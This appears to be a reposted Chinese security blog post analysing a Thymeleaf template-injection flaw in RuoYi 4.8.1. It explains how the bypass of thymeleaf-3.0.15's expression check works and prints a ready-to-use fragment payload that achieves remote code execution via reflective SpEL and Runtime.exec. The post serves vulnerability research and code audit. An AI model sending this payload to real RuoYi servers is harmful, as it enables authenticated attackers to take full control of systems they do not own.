文章总结: 本文详细分析了若依(RuoYi)4.8.1版本中存在的Thymeleaf模板注入漏洞,该漏洞位于CacheController的/monitor/cache/getNames接口,由于fragment参数未充分过滤导致。尽管thymeleaf-3.0.15版本增加了安全检查机制,但攻击者可通过特定格式__|$${…}|__::.x绕过限制,实现任意代码执行。文章提供了详细的代码审计过程和RCE攻击payload,建议相关系统管理员及时升级或修复此漏洞。 综合评分: 89 文章分类: 漏洞分析,代码审计,WEB安全,渗透测试,漏洞POC
若依4.8.1模板注入学习
原创
道玄安全
道玄网安驿站
2025年12月21日 07:00 上海
“ thymeleaf-3.0.15安全绕过。”
PS:有内网web自动化需求可以B站私信,公众号私信回复不及时
01
—
Thymeleaf注入
源码地址:
https://gitee.com/y_project/RuoYi/repository/blazearchive/v4.8.1.zip?Expires=1766198312&Signature=meKL2XUKfzUXSuKEoqj8rIq1QLS50EneJQLkxFMjwIQ%3D
源码部署参考之前的方法:
https://mp.weixin.qq.com/s/9C4NVOV7UMYRt7Dq924cTQ
1.漏洞描述与复现
若依(RuoYi)是一套基于Spring Boot + Shiro + Thymeleaf的快速开发平台,广泛应用于企业后台管理系统。在版本4.8.1中,存在一个严重的 Thymeleaf模板注入(SSTI)漏洞 。
该漏洞位于 CacheController.java 控制器的 /monitor/cache/getNames 接口, fragment 参数未对用户输入进行充分过滤。尽管新版增加了黑名单机制拦截危险操作,但攻击者可通过特定格式 __|$${...}|__::.x 绕过限制,实现任意代码执行。漏洞代码片段:
@RequiresPermissions("monitor:cache:view")@PostMapping("/getNames")public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment;}
通过此SSTI漏洞,攻击者可获取Shiro框架的RememberMe加密密钥,进而利用Shiro反序列化漏洞实现远程代码执行(RCE),完全控制受影响服务器。
根本原因:未受控的 fragment 参数直接传入模板解析器
攻击者完全可控的 fragment 参数,被直接拼接到视图路径(return 语句)中,或直接作为视图名称返回。
在Spring MVC配置中,如果视图解析器配置为 ThymeleafViewResolver,并且当返回的字符串不包含显式的重定向或转发前缀(如 redirect: 或 forward:)时,Spring会将其视为一个Thymeleaf模板文件名去解析。
但这里的 fragment 参数并不是一个合法的模板文件路径,而是一段Thymeleaf表达式。
RCE表达式(需登陆认证)
fragment=__|$${ ''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.xx
2.代码审计
要想理解漏洞,那肯定要去了解poc的组成,为什么要这么写?首先我们让AI分析漏洞代码的逻辑作用:
这段代码是Spring MVC 控制器中的一个接口方法,核心作用是:
- 对访问权限做控制,仅允许拥有
monitor:cache:view权限的用户访问; - 接收 POST 请求(路径
/getNames),获取系统中所有缓存名称; - 将缓存名称数据传递到视图层,并返回指定的 Thymeleaf 页面片段,实现页面局部渲染。
通过以上分析知道了控制输入点是fragment参数,并且需要权限,所以需要登陆认证;其次我们需要知道在4.8.1中对模板注入攻击的防护是怎么样写的,查看源码中使用的是thymeleaf-3.0.15版本,那么payload肯定就是要绕开这个版本的限制,查看大佬们的资料,发现了thymeleaf-3.0.15新增了的检查代码逻辑containsExpression如下:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
private static boolean containsExpression(final String text) { final int textLen = text.length(); char c; boolean expInit = false; for (int i = 0; i < textLen; i++) { c = text.charAt(i); if (!expInit) { if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') { expInit = true; } } else { if (c == '{') { return true; } else if (!Character.isWhitespace(c)) { expInit = false; } } } return false; }
丢给AI分析一波:
这段代码的核心作用是检查字符串 text 中是否包含特定格式的表达式语法,本质是识别以 $*#@~ 开头、紧跟 {(左大括号)的字符组合(中间可允许空白字符)。简单来说:只要字符串中存在${,*{,#{,@{,~{(或中间夹空格)的格式,方法就返回 true,否则返回 false;
其对requestURI , paramValue做了检测, 检测到表达式后抛出错误 ,但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是 {: 如果是{则认为检测到了表达式, 如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式, 问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了,那我们其实可用构造出这样的payload逃过检测:
ounter(lineounter(line$任意字符{} $${}
|n4c1, ${…}|, 其中的表达式${...}可以被执行,因此可以构造:
ounter(line
__|$${#response.addHeader("x-cmd","n4c1")}|__::.x
这样的payload实际上等价于
ounter(line
__'$' + ${#response.addHeader("x-cmd","n4c1")}__
但当尝试rce时其实是失败的, 3.0.15这个版本把SpringStandardExpressionUtils中把之前的containsSpELInstantiationOrStatic换成了containsSpELInstantiationOrStaticOrParam, 并且对检查逻辑进行了加强, 不允许 T()``new xxx``T ()``param这样的表达式内容出现, 但依然可以利用类似于沙箱逃逸的方法来绕过,成功RCE:
fragment=__|$${ ''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.xx
以下是AI对这个payload的解析:
| | | | | | | | | | | | | | | | | | | |
| — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — |
| | 部分 | 具体含义 | | | — | — | — | | fragment=__ | $${ … }__::.xx| 整体是向 fragment 参数传入恶意内容,核心是中间的 $${ … } 包裹的 SPEL 表达式 | |”.getClass().forName(‘org.springframework.expression.spel.standard.SpelExpressionParser’)| 通过空字符串获取 Class 对象,反射加载 SPEL 表达式解析器类(绕过直接类名书写) | | |.newInstance().parseExpression(“…”)| 实例化解析器,解析内部嵌套的恶意 SPEL 表达式 | | |”.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘calc’)| 嵌套的核心恶意逻辑:1. 通过空字符串反射获取 Runtime 类;2. 调用 getRuntime().exec(‘calc’) 执行系统命令(Windows 打开计算器);(注:%2b 是 URL 编码的 +,用于拼接字符串 org. + springframework…,绕过可能的关键词过滤) | | |__::.xx| 后缀无关字符,仅用于凑格式,核心攻击逻辑在 $${ … }` 中 | | |
到这里其实已经看出来漏洞的原因,是因为thymeleaf-3.0.15的安全措施被绕过,并且找到了ruoyi-4.8.1中调用的参数fragment,所以才可以直接RCE。
参考资料:
https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQwhttps://mp.weixin.qq.com/s/9al4DhNb_QW6zhpfo-iRFAhttps://mp.weixin.qq.com/s/qANoHcYly90XVpst7T4Oqwhttps://mp.weixin.qq.com/s/8FKne1kSDjSzZZ8b9GGx0Qhttps://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#literal-substitutionshttps://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html
免责声明:
本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。
第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助
第十二条: 国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。
任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。
第十三条: 国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:道玄网安驿站 道玄安全《若依4.8.1模板注入学习》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论